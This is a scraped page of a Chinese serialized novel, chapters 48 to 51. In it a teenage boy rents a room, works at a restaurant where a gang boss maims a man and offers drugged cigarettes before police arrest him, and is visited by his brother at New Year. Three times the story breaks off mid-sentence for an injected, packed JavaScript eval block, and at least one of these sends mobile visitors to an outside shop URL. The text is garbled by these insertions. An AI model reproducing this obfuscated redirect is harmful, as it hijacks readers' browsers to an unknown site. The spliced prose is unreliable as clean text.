课本加各种练习册,还有期间学校自己印的试卷,应有尽有。白容生跑了两趟才搬完,书桌霎时间丰满多了。 中午放学,他独自离开教室,回到学校附近的小区,在那栋楼下若无其事地转了一圈,进行观察。 似乎没有异常。 C市地处北方,季节已进入早秋,和依旧停留在夏天的江市不同,但中午大太阳还是晒得人出汗。白容生觉得再转下去会引起别人注意,心底一横,抬脚向楼上走去。 沿着灰色的狭窄楼梯上去,白容生想象中的糟糕画面竟然没有出现。 防盗门明显落了灰,门口也有不少琐碎的小垃圾,可看着没有什么遭到破坏或者暴力开门的痕迹。 沉思片刻,白容生摸出钥匙,打开了门锁。 灰尘随着门被推开腾空而起,白容生被呛得连打两个喷嚏。 这个他和崔盛共同装扮维护的房屋里的一切陈设,在纷纷而起的灰尘中好像永远停留在他们匆匆离开的七月。没人来过这间屋子,可能因为这不显眼的房子记在崔盛名下,被大雁忽略了。 白容生走到他的房间,边咳边把他需要的书本收拾进箱子。费力地把书箱搬到客厅,他又将衣服、其他能用到的杂物收拾起来,最后翻出家里藏的现金,回身看着凌乱不少的房间。 这里依旧不是属于他的地方。 白容生满身大汗,来回几次把东西搬到楼下。他借李舜家把东西放两天,李舜妈妈蛮热情地说:“平时就我带儿子上学,小白你过来住好了,正好多个房间,你俩还能一起学习。生活费看着给,不用你交房租,哪有让你一个小孩在外面租房住的事呢?” 李舜更是拉着白容生手,让他留下来住。但白容生坚定地摇头拒绝,他不想占李舜那么大便宜。 甚至更冷酷一点说,他不想欠李舜太大的人情,以后都是要还的。维持现在的朋友关系就很好。 一中另一边还有座老小区,比这里还要老,而且户型和环境十分一般,房租比这里低一些。但毕竟在学校旁边,仍然比C市其他地方的房租贵。 白容生去小区里转了一圈,边看边想。最便宜的还是他回去住校,不过如果碰上合不来的室友,白容生不确定会怎么样。 徐桥留给他的不愉快有些太深了,暂时不希望还有第二个。他不能让其他因素影响 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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“好吧,那你先听我大概讲,同意的话咱们上楼谈合同。”她用围裙擦擦手,“押一付一,至少要租半年,水电燃气你自己交。房子是我儿子结婚用的,没住两年,里面家具都是新装修的好家具,你可以看完再决定。他们……” 房东的脸黯淡下去,停了好一会,“出事是在客厅,不影响卧室。” 白容生微一点头:“嗯,我明白,不是很介意这个。” 房东叹气:“小孩说话不知轻重,你多大了,在这附近上学?家长电话总有吧?” 白容生没穿校服,房东怀疑地打量他。崔盛现在不方便接电话,白容生想了想,跟她说:“你可以联系我们班主任。” 冯少平不愧是全天待机,午休时间也接电话,一开始有点茫然,后面听明白了,咬牙捏着眉头,还是配合起白容生。 这班主任说话正派和气,房东放下了点心,带白容生上楼。 “那边还没打扫,现在还不能带你看。”房东找出一次性纸杯给他倒水,“但是户型一样的,就是采光不好,你一个人的话住向阳那间卧室没问题。” 户型确实很一般,大中午客厅也暗得很,需要开灯。两室一卫,厨房很小,没有餐厅,看上去就是在客厅吃。 白容生很快就确定下来,房东发现他还真的才十六岁,犹豫不决地签了合同。 “这是钥匙。”她给白容生一只信封,“今天我去收拾屋子,明天你就能搬进来。” 白容生接过来,发现虽然窗台上有一对夫妻的相片,但这里只有房东一个人住。 “哦,我家属前几年去世了。”房东说完,又道,“你是一中的学生,对吧?不介意的话,中午晚上都可以来跟我一起吃,加点伙食费就行。” 白容生自然乐意,食堂饭难吃,又没有崔盛在家,他自己做只会很敷衍。 解决了租房问题,下面就是赚钱。白容生数了下手里的钱,还够支持完这学期。 崔盛那边需要完整表演出他单方面不知情,白容生自己跑了的假象。短期内两人最好不要有任何联系——这个所谓短期究竟多长,恐怕他们谁都不确定。 下午冯少平又把白容生叫出去上单独的心理课,白容生答应得越好,他倒是越不放心,却也没别的办法。 “行了,你们都是大孩子,不爱听老师的话正常,我也不是你家长,不好管得多。问你家里什么情况,有什么困难,你也不肯说。”冯少平看了看周围,走廊拐角没别的人。他掏出一只信封塞给白容生,沉甸甸的,白容生一碰到,都不由变了表情。 “不,老师……” “拿着拿着。”冯少平也挺尴尬的,就跟这钱烫手一样,忙不迭松开,“不多,我知道你手里有钱,但能有多少?先拿着过渡吧,学期末努力考好,我看你之前离奖学金就差那么一点。” 白容生是真不愿意:“老师,我怎么能拿你的钱?” “我单身汉一个,住学校里,月月工资都没地方花。”冯少平道,“这些年我帮过的学生不少,你不是第一个也不会是最后一个,拿着吧。别不好意思,过几年工作了还给老师就好。” 白容生想把钱塞回去,冯少平硬是按住他的肩膀,摇着头,转身跟被狗追一样迅速小跑走。 脚尖前方的地面上,是一块明亮的光斑。白容生低头看着那块光斑,捏着信封,被这意料之外的事搞得有些心绪不宁。 冯少平为什么这样帮他?明明班里那么多学生,他白容生也不是特殊的哪个,更不能给他带来好处,日后会不会还钱都不好说…… 他竟然还有好运气遇到好人的这天。 白容生心情复杂,逃了一节课,去楼下操场边坐了好久。 新租的房子收拾得很快,白容生推门进入的时候,里面正大开窗户通风,空气里还残存着消毒水的味道。 “这是家里买了一直没人穿的拖鞋,跟新的差不多。”房东招呼他换鞋,“床上四件套也是,买了没人用,我都给你铺上了。你看看,哪里有缺的,跟我说。” 白容生真情实意地感谢,房东摆摆手,“你说你还要运书桌书柜过来是吧?那间次卧的床我让人拉走卖了,你可以放书桌。” 唯独他心爱的书桌和崔盛买来的书柜,白容生怎么都要带走。房东这样善解人意,也让他松口气。 为搬家白容生忙了两天,还好他东西少,房东这房子也确实如她所说,基本上拎包入住。 冯少平给的钱不少,白容生数完后收在床底,决定不到不得已时不用。 明明也就间隔两个月,再回到校园生活,却让白容生感到极其陌生。他还有些飘飘地没找到锚点,开学考接踵而至。 49.第 49 章 开学考不像大考那么正式,压缩成两天考完了。第二天晚上就出了成绩和排名,贴在教室后面。 白容生没考完,心里已经有数,去看成绩时很有先见之明,自底下往上看,果然在后面找到了自己的名字。 倒数第十。重点班的竞争就是这样残酷。 他没有很失落,稍微耸肩,回去继续订正试卷。 蒋兴康的位置依旧空着,其余参与竞赛培训的人都回来了,提起他同样满头雾水,表示不知道他怎么突然发疯。 他本来就是一中的名人,丑闻又容易传播,班里有人推测他估计不止是休学,还可能转学去别的学校。 对这些,白容生不放在心上。 过两天,蒋兴康的东西被人收拾走,听说他转去江市上学,之前用的网络账号和手机号也全部注销。 风波来得快去得也快,高二后课业压力明显重了不少,老师都在赶进度。基本上高三一整年是用来系统复习的,要在高二把知识点学完。 白容生的生活格外规律,他期中考就回到了班级中游。期中考后天气日渐寒冷,等到期末时,和去年一样,又开始下雪。 走廊被踩得脏湿泥泞,一不小心就会滑倒。白容生抱着书穿过,被飘进来的雪花冰得一缩。 期末考试,白容生拿了班级第三。出成绩时白容生也没感觉到太多的兴奋,只是心定了下来,他知道他想要的达成了。 重点班的班级第三和曾经的第三不可同日而语,无论如何奖学金是拿到了,虽然不多,但都是钱。 一中只争取到了高三寒假补课的权力,其余两个年级都放假回家,不过还有部分人会照常来学校自习写作业。 白容生没去学校。骤然从规律的学校生活中脱离,他甚至还有点无所适从。 这学期他的路线只有老小区和一中来回往返,没有洗头房和崔盛后,他同北城区似乎也失去了连接,那边的消息也没听说多少。 其实这样才应该是大多数人正常的生活吧? 白容生找了一家饭店的寒假工,辛苦归辛苦,但逢年过节,饭店工资要高。他当然也知道其他的赚钱更多的门路,不过白容生不想节外生枝,正常的打工就很好。 老板起初嫌弃他太小,怕干不好事,没想到白容生意外勤快聪明,做两天学徒上手很快。而且他个子长起来了,又会笑会说话,去送菜时讨客人喜欢,就把白容生留下来了。 这家饭店不算很大,只是开了许多年,厨房的师傅手艺好,所以生意一直红火。老板向来过年营业,早早地开始接订餐电话,并且统计过年时还能工作的员工。 过年几天工资翻倍还有奖金,白容生直接选择全勤。 小店分工不明确,通常有什么活就做什么活。白容生下午在后厨帮忙洗碗洗菜,晚上去做服务员上菜。 天冷,就算有手套,他的手也难免出现了几道细小的裂口。食指指腹屈伸时产生淡淡的刺痛,让白容生意识到,他以前其实没怎么做过重活。洗头房和崔盛对他都足够溺爱。 短暂的休息时间白容生坐在走廊尽头,快速地捧着饭盒吃饭,同时翻看他和崔盛之前的短信。 短信停留在夏天的那个晚上,崔盛追到蒋兴康的家门口找他。 现在回想,白容生当时的情绪褪去,理智占了上风。 既然崔盛都能找到他,蒋家后面真的追查不到他身上吗?可他确实安稳地生活到现在,或许真是好运气,对面没抓住他。 崔盛让他联系的那个朋友,白容生发现可以自己安顿后,从没联络过。 他吃完饭,收起饭盒准备回去帮工。今天是腊月二十八,街上很热闹,出来吃饭的也不少,等收工歇息估计要半夜后。 白容生快步回去,穿过二楼时却发现这里气氛不对,格外安静,走廊两边还站了几个穿黑衣戴墨镜的男人。 那些近似保镖的人也看见他了,见他穿员工制服,对他一伸手:“这边不能过去,从那边走。” 白容生绕路下楼,被老板一把抓住:“正找你呢,可来了。去去,洗手,二楼今晚被包场,你们几个好看干净的年轻人专管上菜。” “大客户?”白容生问。 “得罪不起。”老板用口袋里的白毛巾擦额头的汗,“贾大海,知道吗?” 生活在C市的,多少听说过贾大海的名字。白容生表情微微一动,他正想以身体不舒服来推掉这个工作,那边厨房已经开始把菜端出来,他也被分配了一辆小推车。 贾大海喜欢这家店的口味,今晚来这里请客,包了一层,他只在主间。白容生和两个年轻的女服务员约定好,他推车送菜,只送到门口,不进去上菜。 他是头一年来这里,不知道贾大海这两年每年过年前都来,进去的服务员可以拿到他随手发的图喜气的小红包。其他人当然乐意,还反过来感谢白容生。 白容生戴上口罩和手套,推着车上下楼两趟,后背隐约出汗。第三趟送菜时他必须得进去,因为有个铜锅羊肉,锅十分沉,还要架在炉子上点火。 而且锅很烫很热,白容生总不好看着女生搬,就说:“我来吧,你们把炉子点好火。” 他垂着眼睛把锅端进去,轻轻摆好。余光里看见最中央的贾大海,穿着深色线衫,头发花白眼皮下垂,夹着根烟边抽边说话。 贾大海根本没注意这些服务员,只看进来这样一个大锅,顺手从旁边包里拿出三个红包:“分了吧。” 白容生跟着另外两人一起说了几句祝福的吉祥话,快步退出。 “今年红包比去年还大。”一个服务员说,“今晚没法睡也值了。” 白容生没接话,他只是意外,难得有让他感到恶心的钱。 大概是临到过年,人总要审视一遍自己这一年的所作所为,感叹两句或者试图改变。贾大海到底心知肚明他这些钱是怎么赚来的,于是过年前给他平时根本看不上的小饭店服务员随便发红包,就当做是随手做好事,以此积德。 其他房间还要上菜,容不得白容生停下。这些房间里年轻人更多,烟酒味重,高声谈笑着还要和进来的服务生调笑,没吃完就叫着要送两副牌上来好喝酒。 刚刚进去的女生被摸了好几把,不愿意再进去了。白容生就把推车交给她,拿着牌进去。 兴奋的几个青年看是个男的来送牌,瞬间失去兴趣,命令白容生倒酒。 白容生刚拿起酒瓶,房间薄薄的墙像被什么狠狠一撞,“咚”得发出巨响,伴随着慢半拍的尖叫和碗筷摔碎的声音,让这屋人的酒都醒了。 隔壁是贾大海在的主间。 白容生眉梢一跳,已经有反应快的人起身冲去隔壁。他跟着出门,就看见刚冲进去的人捂着嘴冲出来,对着墙弯腰呕吐。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17239333|196795||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 发生什么了? 白容生往里面看了眼,紧跟着理解了那人的反胃。 有个中年男人跪在地上,浑身不停颤抖,右手全是血。他的五根指头都被砍下,被一只大漏勺装着,在煮羊肉的铜锅里像某种食材,在被一上一下地涮煮着。 白容生深吸口气,旁边脸色发白的同事跟他说:“贾先生……要求重做一份羊肉。” “我知道了。” 白容生正要下楼告诉老板,里面的贾大海却发话:“你们两个,对,外面两个年轻人,进来。” 他指的是白容生和旁边的女服务员。 服务员顿时身体一软,情不自禁抓住了白容生的袖子。白容生手心里霎时出现冷汗,脸色没变,反过来搀她一把,走了进去。 地上的血痕蜿蜒流淌着,白容生抬脚迈过,站在圆桌前。 贾大海根本没细看他们,自顾自吸着雪茄,好一会,他对旁边人一抬下巴:“拿两根烟。会吸烟吗?” 后一句话,是对被他叫进来的两人问的。 白容生迅速地扫视一圈,看见这桌上有几个状态明显不对的人,他们也在抽烟,手中拿的和贾大海手边的烟一样,表情迷醉又神经质,弥散着奇怪的味道。 这烟里有东西。 见他们没动,贾大海也不生气,慢条斯理地说:“年轻人不会抽?没事,都要学的。那只锅端下去吧,看着碍眼。” 不止锅,断手的男人半昏迷着,也被一同拖了下去。 贾大海瞄了眼,指向白容生:“男孩子,要敢于尝试。过来,这里有打火机,告诉我味道怎么样。” 他旁边的人腰间鼓鼓囊囊,带了枪。 白容生一步一步走过去,垂着目光,直到那支烟和他触手可及。 “接啊。” 白容生捏起这根烟,此时此刻,他的手指也禁不住有点发抖。另一边是火机,他拿着火机,感觉自己在无意义地拖延时间。 贾大海笑着看他,还没说话,外面有人厉喝道:“什么人!” 话音未落,大开的门外,一位黑衣保镖狼狈地摔倒在地,滚到门口。他都没爬起来,身后追上来的人一脚踩在他后背,重重地踢开:“跟谁大呼小叫呢?” 贾大海表情变了,不敢置信地扭头,一伙穿着警服的警察跟随为首的那人呼啦啦涌入,枪口瞬间对准了他。 房间里的氛围极为古怪,白容生反应很快,手放下,不引人注目地拽着身边吓傻的服务员后退。 最前面穿着警服的青年男人个子很高,手压在枪上。他懒得废话,反手对贾大海亮出批捕令:“贾先生,走一趟吧。” 这个声音! 白容生一下认出来了,硬是忍住没抬头去看。他听着贾大海冷笑,却没反抗,坦然起身:“蒋警司,马上过年了,还要来找我这个老头子的事?” 蒋翰也嗤笑,根本没回答他,挥手道:“带走!” 白容生他们两个差不多是缩在墙边,眼睁睁看着警察把这一桌人带走得干干净净。 蒋翰注意到他们,没在意,只以为是被为难的服务员,点头道:“别害怕,按规定抓人而已,你们都出去吧。” 白容生扔掉手里的烟和打火机,哪知蒋翰想起什么,又把他们叫住:“不,等等,你们还得做个登记,我差点忘了。去一楼找你们老板,登记完才能走。” 50.第 50 章 饭店里老板领着一排服务员,像等待提审的犯罪分子似的,老老实实站成一排。 两个警察坐在桌子后面,分别询问问题。一楼的客人都被清场赶走,幸好贾大海提前付了全款,否则老板今天何止是不赚,简直赔个干净。 “姓名?” “……白容生。” “年龄?” “十六。” 正在记录的警察诧异抬头,发现白容生确实满脸青涩的稚气,语气柔和了一些:“来打寒假工?别紧张,如实说就好了。” 白容生对他笑了笑,接下来都是些简单的问题,他只要回答自己在楼上看见了什么就行。 “手砍断了,还让你们抽烟,是吗?”警察记下两行字,甩甩手腕,“我知道了,去那边等着吧。” 被问完话的人都集中到一个房间,老板愁眉苦脸的,不知道怎么办才好,一群人围着圆桌喝热水。 老板想接大单子挣钱是一方面,最重要的还是他不敢拒绝贾大海。可是贾大海在C市安安稳稳几十年,谁能想到,马上过年,就有警察直接上门把他抓走呢? 白容生站在角落,转着手中的纸杯。他撩起窗帘看外面,多辆警车占据了门口的街道,灯光闪烁,明眼人一看就知道不对劲。 “那个,小白。” 身后有人轻声叫他,白容生回头,是刚才一起在楼上的女生,红着脸和他道谢,“谢谢你挡在我前面,这个钱是我今天的工资,你拿着吧,新年快乐。” 白容生没收,“不用,我也没做什么,挣这点钱都不容易,你拿回去吧。” 询问完毕后,一个警察举着名单进来说:“叫到的人再留一下,其他人可以走了。” 老板和一直在二楼的二老板不出意外要留下,白容生也准备走了,却听见自己的名字。 他为什么要留下来? 白容生眼神一动,但他确实走不了。在这里打工他留下的是真实身份信息,想瞒都瞒不住。 直到他看见蒋翰进门,手中拿着记录本,目光转了圈找到他,才心里一沉。 老板和二老板在被蒋翰详细询问和交代过后放走,其他警察也跟着出去,屋里只剩下他和白容生。 咔嗒。 蒋翰拨动打火机,没点烟,只是边把玩,边用意味不明的目光盯着白容生。 “你还留在这里呢,”他说,“我以为你早就离开了,竟然没死在北城区,实在厉害。你那个杀人犯哥哥呢?应该死了吧。” 白容生:“我不知道。他……他早就走了,我不知道他在哪里。” “噢?丢下你跑了?”蒋翰露出得到乐趣的笑,“啊呀,不过也算是正确的决定,否则你们俩可能都活不下来。” 白容生没说话。 蒋翰最后看他一眼,态度里竟然有种高高在上的怜悯:“马上过年还出来打工,真是不容易。好好读书吧,免得日后还要跟混混和妓女混在一起。” * 蒋翰离开后,老板小心地问白容生有没有问题。白容生一张脸煞白,眼珠转向他,黑漆漆的,透出种冰冷的愤怒。 这一刹的失态转瞬即逝,白容生低头说没事,去楼上帮忙收拾残局。 等工作结束已经半夜,老板疲惫地把今天工资包成小红包,送给每个员工,意思是去去晦气,压一压惊。 贾大海被带走后没有消息传出来,紧接着就是过年,除夕当天早上便开始下雪。白容生早上下楼,迎面遇到房东,塞给他一个红彤彤的塑料袋。 “我知道你还出去干活,饺子等我今天包完给你留一点。”房东说,“这春联你拿着贴门上吧,图个吉利。” 白容生上楼拿着胶带贴上,发现房东是用心选的春联,祝他学业进步心想事成。 他踩着雪走去饭店,认为这个年过得比上次好多了。只是他不知道崔盛在江市怎么样,或许比他这里要热闹很多。 晚上年夜饭订满了,有电视的包间里都传出春晚的乐声。白容生跑上跑下,推着车送菜,外面一阵阵烟花声鞭炮声,吵得他没心思去想别的。 大多数客人吃完饭,赶着回家去守夜。少部分家庭没那么传统,临近零点时候出来找老板借火机,准备放鞭炮。 老板有经验,早买好了一大包廉价火机。白容生拿着去送给客人,捂住耳朵站在门外看他们放炮,提防起火。 夜空下雪花飘动,雪地反射的光使周围好似都蒙着柔和的滤镜,城市各处都在噼里啪啦地放炮,捱过这十几分钟才安静下来。 白容生给冯少平发送完拜年短信,戴上手套清扫满地的碎屑,手机忽然响了。 他以为是冯少平的回信,扫完垃圾后拿出手机,却是一个陌生号码。 【新年快乐,祝你开心。】 明明没署名,白容生却能瞬间反应出这是谁发的短信。 他摘下手套,手指握着手机却不知道回复什么,没一会手指就冻僵了。白容生将手向口袋里一揣,心不在焉地回去,直到老板红包递到面前才回神。 说完祝福的吉祥话,后半夜收拾收拾,第二天大年初一下午开门。白容生回去的路上,终于把回复的短信发出去。 【哥,我想你了。】 等回到家,白容生在暖气片边站了会,身上落的雪融化了,他也跟着回温,突然又后悔。 他不该跟崔盛发那些……完全没有必要。 可是短信不能撤回,白容生自欺欺人地关闭手机,简单稀疏后倒回床上陷入昏睡。 他一口气睡到中午,被外面的鞭炮声吵醒了。楼下雪地里鲜红的鞭炮碎屑异常显眼,只是卧室的窗户隔音效果好,加上白容生实在太累了,早上放的那波鞭炮都没把他叫醒。 白容生起床,正想着午饭随便吃点,房门被人敲响了。 “我打你电话都打不通呢。”房东穿着围裙站在门外,“还没吃饭吧?去我那一起吃,你什么时候去上班?” “……下午三点多去。”白容生抹了把脸,“我手机昨晚关机了,不好意思啊姨,马上就去。” 房东点头,下楼回她的房子。白容生这下彻底清醒了,拿着手套出门,去房东那里吃饭。 一共两人,房东做了四菜一汤,还有一大碗饺子。她给丈夫和儿子儿媳的照片面前都摆了一小碗饺子,电视开着昨晚春晚的回放,自嘲道:“老年人看不动,我都是白天边包饺子边看回放,你看不觉得无聊吧?” 白容生昨晚根本没空看,如实道:“我一点没看,现在看会挺好的。” 他不怎么看这个节目,以前在洗头房,过年晚上店里都不完全关门,会有老主顾过来。洗头房的女人们更不爱看春晚,她们难得晚上轻松,会聚在一起看白容生不感兴趣的电视剧。 虽说班里同学爱抱怨春晚无聊,白容生倒觉得舞台缤纷歌舞多样,还蛮好看的。 房东手艺不错,而且家常菜不像饭店里那样油盐多口味重,要更清爽。白容生这些天都是从厨房随便端点边角料吃,终于吃到家里的饭菜,饺子也顺便吃了大半盘。 他撑得不行,坐了一会起身去洗碗,趁着离上班还有时间,帮忙把房东家里的地也拖了。 收拾好后,白容生匆匆脱掉房东的围裙,回到客厅找他带来的手套。 这时外面有人敲门,房东挂着最外面的门链,谨慎地打开一条缝向外看:“你是……找谁啊?” 白容生找到手套,走到她身后,隐约看见外面是个穿着黑衣服、裹得很严实的高个子男人。 他低头:“你好。我是来问你的租房……” 这个声音一出来,白容生差点以为他出现幻觉,不可思议地盯了会门缝,走过去说:“姨,我、我认识,是来找我的。” 门外那人应该是听见他说话,一时间也闭嘴了。 白容生开门出去,身上暖意还没散,瞪大眼睛看着面前的人。 崔盛摘下头上带雪的毛线帽,一双浅色的眼睛定定注视着白容生。在他的眼里,白容生看见一个很小的自己。 两人就这样无言地在房东门口站了会,白容生率先抓住崔盛的手,带着他下楼。 “你住在这里?”崔盛问他,“这边房子很一般,住着舒服吗?” 白容生没回答他,反问:“你怎么找来的?” 崔盛沉默好一会,“你说想我,我不能不来。” 白容生望着他眨了下眼,轻薄的碎雪落在他们脸上,随后悄悄融化。 直到这时他才有空仔细打量崔盛,白容生没见过什么好东西,但完全能一眼看出,崔盛和以前不一样。 挺括的黑色长大衣,羊绒围巾,头发也仔细地修剪过,简直判若两人。 “本来想的是直接给你卡里转钱,我已经想很久了,直到看见你的短信,我有些控制不住。”崔盛说着,解下围巾给白容生绕上,“换了新手机号,不过之后还是不能用那个号联系,我在江市那边依然不太……” 他没说下去,嘴角翘起一点冷漠的弧度,“不在鎏金了,在给丁老板打工。” 白容生:“哪个老板,之前你救他一命的那个?” “嗯。” 白容生转头看他,崔盛说:“你长高了,是不是也胖了?暑假里跟我在一起的时候,瘦得吓人。” 围巾带着崔盛的体温,没让白容生受到一点冷风。他忽然伸手搭在崔盛左肩,手掌下隔着衣服感受到的躯体,沉稳结实。 “伤好了。”崔盛活动左手,给他检查,“没有后遗症。” 白容生深吸口气,逐渐接受了崔盛突然出现这件事。他低着头在湿滑的人行道上走了几步,崔盛跟在他侧后方,预防他脚滑摔倒。 不知怎么的,他灵光一闪,开口说:“我当时不该那样跟你说,是我说错了话。其实……其实 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17253146|196795||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 我根本不可能跟你……” 他实在没办法,也没权力,想的只是如果白容生能安全,哪怕从此做陌生人都无所谓。然而自白容生走后,崔盛难以控制地感受到了煎熬。 ——就是分不开、放不下。崔盛不得不承认,同时对于当时他所说的话,产生了些许愧疚。 不该那么说的,白容生比他更迷茫更无助更无辜。 白容生过去那么久,早就没了当时的感觉。他嗯了声,觉得这样的崔盛很奇怪,转头打断他说:“过年时候街上没几家开门的店,你什么时候回去?我现在要先去店里干活。” “今晚就走。”崔盛是临时搭了别人的车,中途再换大巴赶回来的,眼底带着点疲惫。他买了今晚的火车票,明天丁晓东和人出去冰钓,必定会带上他。 说着,他把身上背着的挎包交给白容生,“别忙着去打工了,这里的钱你拿着用。我不方便转账,只能给你现金。” “这几天过年,说好了的,我肯定得去。”白容生不是很想接,崔盛硬是给他挂在身上。 “那走吧,我陪你去干活。” 崔盛不容置疑地和他一起去饭店。老板还挺惊讶,不过见崔盛大衣一脱,换上衣服就能利落地干活,又是免费干活,自然欢迎,表示白容生今天可以早退。 饭店里的活都不轻松,等到点后得了个空,白容生用饭盒打了点菜,算着时间,带崔盛回去吃饭。 房东做的饭菜都吃不完,崔盛来了,能多个人消耗。 崔盛提着饭盒,催促白容生戴上手套。他刚刚观察了白容生的手,指腹、掌心明显粗糙了,还有一些小伤口。 在外面打工,这是难免的。 “对了,我之前让你联系的那个朋友,你没找他是正确的。”崔盛看向疑惑望着他的白容生,“他上个月进去了,我才知道……这人实在不靠谱。” 不如说北城区的小混混,能有几个靠谱的? 白容生选择自力更生,是聪明的做法。 房东对白容生带他哥来吃饭十分欢迎,将做多的饺子馅全部包好下锅煮,剩下实在吃不完的,让崔盛用饭盒装走一份。 时间过得太快,崔盛突然回来再突然离开,一出门还要挡住脸,免得被认出来。 从房东家出来,白容生带他回他自己租的房子看了看。崔盛边帮他擦地板,边听白容生说起那天在饭店,蒋翰带人进来抓走了贾大海。 崔盛洗完抹布挂在窗边,说:“蒋家搭上了人,想活动去江市,贾大海的人头算是他们的投名状。” 这些是他跟在丁晓东身边零碎听来的消息,只知道蒋家这次豁出去了,想要趁着江市那边人事调动的机会更进一步。除掉贾大海不止是彰显在C市的“成绩”,更因为贾大海和江市的部分人有关联。 大概这就是命运过时的荒谬。 不过没必要和白容生讲这些事,崔盛只道:“牵连不到你就行,不管他们的闲事,蒋翰估计再过几个月就会离开,你可以安心上学。” 另有一件事,崔盛决定不和白容生说。 他那天对蒋兴康做的事留下了很多痕迹,崔盛收拾现场的时候有意处理,也不敢保证能够瞒过去。 而白容生离开这件事第二天下午才被王明军发现,他大呼小叫,崔盛佯装不知,正在敷衍的时候,遇到了带着女友来玩的白新天。 白新天竟然让女友先去房间,停步问他们在吵什么。王明军尴尬地不愿意多提,耐不住白新天追问,只好如实说了。 白新天听完后,若有所思地笑笑,顺带还看了眼崔盛,“这样啊……你不要急,这个孩子是我让他走的。” 王明军的抱怨被卡住了,直着脖子想问又不敢问的样子。白新天则耸肩摊手,没有解释:“好了,你这里也不缺小孩,为难那个孩子做什么?走就走吧。” 大约白新天真的会突发善心帮助“失足青少年”,帮助白容生逃离鎏金。尽管崔盛完全不信,可有白新天帮忙说了两句话,王明军就不再追究。 蒋兴康那件事更是没有后文,崔盛怀疑过,是不是有白新天插手。 说实话,要不是白容生彻头彻尾是一个北城区洗头房女人的儿子,崔盛都要怀疑白容生是不是江市白家的私生子了。 再不走就要赶不上车,外面冷,崔盛不让白容生。他推开门,外面凉风涌入,白容生举手将拥有两个人体温的羊绒围巾围回崔盛脖子上,问他:“手机还是不能联系吗?” “嗯,最好不要。如果有事的话,我会主动联系你,丁晓东得罪的人不少,谨慎为上。”崔盛顿了顿,“我会尽量多回来看你,钱不够的话跟我说,马上高三了,别出去打工。” 他呼出一口白雾,把白容生抱住。白容生也踮脚,就像以往的某个日子一样,在崔盛脸上亲了一下。 这次过年可以说是他们两人共同过的,哪怕只有匆匆几个小时。 51.第 51 章 崔盛走后,白容生在这个难得清闲的晚上,有一会儿什么也不想做。他躺在客厅的沙发上,仰脸望了会空白的天花板,好半天翻身,看着楼下的雪地。 二楼看地面还是比较清楚的,过年期间这边住户不多,雪地没太多痕迹。崔盛走过的脚印还隐约可见,证明不是白容生的幻觉。 他转回屋内数钱,数了两遍,确定了崔盛带来的现金数目后,没有多少欣喜,反而有点心惊。 哪来这么多钱?崔盛真的是在做正经工作吗? 依照白容生日常的花销水平,这些钱加上他寒假打工的工资,足够他安安稳稳高中毕业。 白容生看着那么多钱放心不下,用背包装着钱去银行,手提袋里藏着棒球棍,闪身进入小区斜对面的24小时存取款机器的小房间。 鉴于C市糟糕的治安状况,每个机器都在不同的小隔间里,可以从门内上锁。白容生锁上门,存了大部分钱进银行,还有少部分现金被他藏在家里,以备急用。 寒假开学提前,白容生匆匆回到学校,觉出班里的气氛随之一变,更加紧张了。 可能是因为还有几个月他们也要成为高三生,曾经距离他们遥远的高考,如同不可抗拒的洪水袭来。 高三年级进行百日誓师的时候,另两个年级需要站在路边拉横幅举捧花。白容生被安排在前排,举着一束花敷衍地晃。结果校广播站的同学发现他上镜,举着相机凑过来拍,他只好按照要求奋力挥着捧花,还得露出虚伪的假笑。 冯少平倒是在旁边似乎颇感骄傲,主动鼓掌。白容生无可奈何,找个空子躲回后面。 他看着走过的高三生,忽然想到,一年之后,走过这里的就是自己。 春天到了,他也即将十七岁。 十七岁的生日白容生没过,他独自一人,没有什么庆祝生日的必要。 不过他不放心上,还是有别的人记着。李舜和吴飞云跑到他们班给他送礼物,令白容生惊讶的是,班长季兰竟然也给他送了一盒进口黑色水笔。 “惊讶什么,小班长?”季兰笑道,“我手里有班上同学的资料,知道你生日很容易啊。” 白容生和她说谢谢,季兰摆手,“蒋兴康一走,数学课就我们俩天天被老师盯着了。不知道高三还在不在一个班,希望我们都能考好。” 季兰的高考目标也贴在后面,她要去首都理工大学,分数比江城大学还高一些。 对于大学,白容生并没有想太多。他相信只要他继续保持这样的成绩,江城大学完全是他的囊中之物。 隔了一天,冯少平却在课间通知白容生去校门口传达室,有一个寄给他的邮件。 白容生走在路上,起初莫名,随后猜到了什么,快跑几步,和门卫确认信息、签名,拿到了一个密封好的、沉甸甸的纸盒。 寄件人的姓名和电话都很陌生,白容生看向地点,却不是江市。他心里奇怪,再度确认一遍收货人,确实是他,班级都写上了。 “哎,同学。”门卫翻着登记本叫住他,“还有一个东西是你的,在这里再签个名。” 这次的东西来自江市,同样是一个密封好的纸盒。 白容生当场没拆,带回家后拿出剪刀,先拆那个江市的。 他以为这个是崔盛寄给他的礼物,拆开后里面是一个他看不懂的方形硬盒,上面有着品牌标识和长长一串英文名。白容生研究好一会才打开,黑色绒布里闪出一道亮银的光,让他眯起眼睛。 竟然是一块银色手表。 